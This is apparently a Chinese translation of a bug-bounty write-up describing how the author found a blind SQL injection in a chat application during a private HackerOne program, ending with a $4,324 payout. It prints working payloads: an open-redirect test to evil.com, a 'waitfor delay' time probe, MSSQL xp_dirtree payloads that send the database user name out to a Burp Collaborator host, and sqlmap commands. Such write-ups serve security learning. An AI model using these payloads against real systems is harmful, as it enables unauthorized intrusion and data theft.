这篇文章是关于我在 HackerOne 上的一个私人程序上的发现之一。由于这是一个私人程序,因此我进行了某些修改以防止泄露任何敏感信息。
这是我的第一篇文章,如有错误,所以还请大家海涵。
所以当我被邀请在 HackerOne 上渗透测试时,我做了一些基本的信息收集,其中包括子域枚举。在使用一些开源工具(如 AMASS 等)收集子域后,我开始查看它们中的每一个。在这个过程中,我偶然发现了一个域,假设它是chat.example.com。登录页面提供默认的 IIS 服务器登录页面。
在遇到默认网页后,总是有可能存在某些内容,因此我继续使用我的自定义字典通过目录暴力破解资产进行内容发现。
我用于对 Web 服务器ffuf的根目录进行模糊测试/,结果中只有一个目录,假设它是/vendor-name. 访问应用程序时https://chat.example.com/vendorname/
出现 403 禁止错误
在遇到错误时,我对/vendor-name导致我进入另一个成功目录的目录进行了模糊测试,假设它是这样/software-name,并且也给出了 403 禁止错误。Fuzzing/vendor-name/software-name/端点给出了多个结果,例如/bin,/scripts,/logs,/styles等,但没有什么有趣的。Logs 似乎很有趣,但是在这些端点上运行单词列表并没有产生任何有趣的结果。我尝试了各种扩展html,aspx,ashx,asp,bak,log,但都没有奏效,这对我来说似乎是一条死胡同。
然后我继续用谷歌搜索前两个目录的名称,因为它们看起来像/vendor-name/software-name,所以我用谷歌搜索Vendor-Name Software-Name,我得到的结果和关于服务器上安装的软件的信息很少。这是一个付费聊天/支持软件。
在此之后,我在 GitHub 等上搜索了应用程序的目录结构,但没有任何可用的。
浏览多个结果后,我发现了供应商的YouTube视频解释了如何安装和配置应用程序。由于这是关于软件的演示,因此讲师正在演示配置各种配置文件的方法,因此在视频中,讲师打开了安装服务器的文件夹,当他深入软件目录时,我能够映射我的发现与软件的目录结构。最后,在复制粘贴各种目录/文件并从视频创建单词表之后,我在视频的帮助下发现了一些表格,其中之一是
代码语言:javascript复制https://chat.example.com/vendor-name/software-name/directory1/vulnerableform.html.
在填写详细信息并在Send 发送数据之前单击之后,发出了一个先前的 GET 请求,看起来像
https://chat.example.com/vendor-name/software-name/_randomfiles.aspx?_param1=1&_returnURL=/example.html
这个看起来很有趣,所以我尝试查看请求和响应。响应包含一个 HTML 重定向到提到的路径,_returnURL所以我尝试给出https://evil.com,_returnURL 并且响应包含一个 HTML 重定向,https://evil.com但像往常一样Open Redirect超出了范围。我试图注入javascript:alert(1)URL,但它被正确编码。
在此之后,我尝试查看 SQL 注入漏洞的其他参数,更改其值对响应没有影响,因此基于错误的 SQLI 是不可能的,所以我想尝试一些基本的Blind SQLI参数上的有效负载。
在尝试了一些有条件的Blind SQLI有效负载以引起一些响应差异或一些错误并失败之后,我尝试注入一些Blind SQLI有效负载来触发时间延迟。由于它是 Microsoft 服务器,因此后端数据库很可能是支持批处理查询的 Microsoft SQL Server,我尝试使用无条件时间延迟和参数上最基本的有效负载来诱导一些响应延迟,即waitfor delay'0:0:20'-- 令我惊讶的是,注射成功了,响应延迟了 20 秒。
有多种方法可以利用盲 SQL 注入,例如触发条件响应和带外利用。最常见的方法是可能应用程序触发带外交互到我们控制的系统。最常见的方法是使用 DNS(域名服务)协议,因为几乎每个组织都允许传出 DNS 查询,在这种情况下也是如此。
在此之后,一切都是关于谷歌搜索的东西。起初,为了确认漏洞,我使用了“xp_dirtree”一个存储过程,它会尝试列出其在第一个参数中给出的目录或网络共享的内容。如果列表是网络共享,它将对其进行DNS查找,如果我们收到回调,我们可以确认OOB提取数据是可能的。
PingBack Payload:
代码语言:javascript复制;declare @q varchar(99);set @q=’\[YOU_BURP_COLLAB_SUBDOMAIN_PART_HERE].burpcollab’ ’orator.netogy’; exec master.dbo.xp_dirtree @q; —
用户名提取Payload
代码语言:javascript复制;declare @q varchar(99);set @q=’\[YOU_BURP_COLLAB_SUBDOMAIN_PART_HERE]’ (SELECT user_name()) ’.burpcollab’ ’orator.netogy’; exec master.dbo.xp_dirtree @q; —
但是,可以手动提取的字符数有限制。如果查询的结果少于 253,包括 burp Collaborator,那么只有数据提取是可能的,但这足以对报告进行分类,但为了进一步利用,我使用了 SQLMAP,它可以轻松地为我们提供我们想要的数据POC。
1、SQL注入确认
代码语言:javascript复制python3 sqlmap.py -u https://chat.example.com/vendorname/softwarename/_randomfiles.aspx?param1=1
2.获取数据库
代码语言:javascript复制python3 sqlmap.py -u https://chat.example.com/vendorname/softwarename/_randomfiles.aspx?param1=1 --dbs
在此之后,我创建了包含所有信息的报告并将其提交给程序,并且在 HackerOne Triager 可以验证发现该资产已被程序删除以进行缓解之前,但HackerOne Triager 通过程序确认了这一点,并对报告进行了Critical [9.3] 严重性分类。缓解后,应用程序启动并安全运行。
漏洞解决后,我获得了程序悬赏 4324 美元 :)
作者推特:https://twitter.com/k4k4r07
原文地址:https://infosecwriteups.com/how-a-youtube-video-lead-to-pwning-a-web-application-via-sql-injection-worth-4324-bounty-285f0a9b9f6c
由HACK整理翻译,如需转载请注明来源